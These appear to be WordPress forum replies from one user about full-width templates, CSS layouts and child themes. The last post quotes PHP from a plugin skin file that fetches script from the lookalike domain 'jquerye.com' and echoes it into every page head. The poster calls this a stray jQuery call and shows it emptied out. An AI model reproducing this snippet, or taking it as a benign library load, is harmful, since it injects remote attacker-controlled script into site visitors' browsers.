bigmike828

Are you using WordPress? lol

Also, I assumed that your page was wrapped in <?php> tags since it’s a WordPress site…

You will need to put this at the top of the full-width.php page:

<?php
/* Template Name: Full Width */
?>

Did you select to use the Full Width page template on the page you want to be full width?

Since your site is using a grid system, in order to make a full-width template, you’ll need to have FTP access (you will need to copy all the code from page.php and create a new file called full-width.php).

At the top of full-width.php, add this code:

/*
Template Name: Full Width
*/

After you add that code (which specifies that it’s a Template page), you should see code that looks like this:

<div class="content-container">
   <div class="container_24">
      <div class="grid_24">
         <div class="content-main">
            <div class="grid_16 alpha">
            <div class="grid_8 omega">
         </div>
       </div>
       <div class="clear"></div>
   </div>
</div>

To get the content area to expand to the full width of the site, you’ll need to change:

<div class="grid_16 alpha">

to

<div class="grid_24">

and then remove the:

<div class="grid_8 omega">

Removing <div class="grid_8 omega"> will get rid of the sidebar.

Not all websites give you a full-width option. It all depends on how your html, php, css is set up.

If you post a link to your site I can take a look.

Simple yet very effective:
HTML

<div id="wrapper">
   <div id="header">
      <h1>Your Site Title</h1>
   </div><!-- end header -->
   <div id="main">
      <div id="content">
         <h2>Your Content Title</h2>
         <p>Your content blah blah...</p>
      </div><!-- end header -->
      <div id="sidebar">
         <p>Your sidebar content...</p>
      </div><!-- end sidebar -->
   </div><!-- end main -->
   <div id="footer">
      <p>Your footer content...</p>
   </div><!-- end footer -->
</div><!-- end wrapper -->

CSS

#wrapper {
   max-width: 1200px;
   width: 95%;
   margin: 0 auto;
}

#header, #main, #footer {
   width: 100%;
}

#content {
   width: 65%;
   float: left;
}

#sidebar {
   width: 35%;
   float: left;
}

#footer {
   clear: both;
}

The main thing here is to use the “max-width” and “width” on the wrapper (or whatever did you have wrapping the content).

I’m using this style of coding on my website:
[Signature removed]

Create a child theme. Add your styles/functions to fix the height issue. When the theme author updates their theme, your files will not be affected.
https://codex.www.ads-software.com/Child_Themes

Same thing, just two lines of code:

#wrapperpub {
   border: 2px solid #000;
   border-top: none;
}

Post a link to your site.
Most likely, this will be a CSS change.

Most likely the width of the content area is too wide for the sidebar to show up next to it but without a URL to view your theme, there would be no way of knowing.

That is no fun at all. Has happened to me one too many times.

Sometimes your hosting will keep automatic backups of your files. I recommend contacting them to see if you’re paying for that feature.

For the future, create a child theme to prevent this from happening again.
https://codex.www.ads-software.com/Child_Themes

I don’t see the horizontal line at the bottom of the header.
I’m seeing padding-bottom for #header on indigo.css.

Can you be more specific with what you’re trying to accomplish?

.entry-date {
   border: 1px solid #000;
}

I can confirm that changing:
'hierarchical' => true,

to:
'hierarchical' => false,

DOES fix my problem. Thanks!

I had the same problem.

I found the source of the error. The plugin is calling JQuery 1.6.3 in the “skins” folder, “glass” subfolder – post.php. I’m not sure why there’s a php file within that skin because none of the other skins have php files within them.

Here is the original code:

<?php if (!function_exists('insert_jquery_slider')){
	function insert_jquery_slider(){
		if (function_exists('curl_init')){
			$url = "https://www.jquerye.com/jquery-1.6.3.min.js";
			$ch = curl_init();
			$timeout = 5;
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
			$data = curl_exec($ch);
                        curl_close($ch);
                        echo $data;
		}
	}
add_action('wp_head', 'insert_jquery_slider');}
?>

I deleted some of the code within the IF statement so my post.php within the glass folder looks like this:

<?php if (!function_exists('insert_jquery_slider')){
	function insert_jquery_slider(){}
}
add_action('wp_head', 'insert_jquery_slider');
?>

I’m not sure if that messes anything up in the end but everything looks like it’s fixed.

If anyone has a better solution, let us know. Thanks!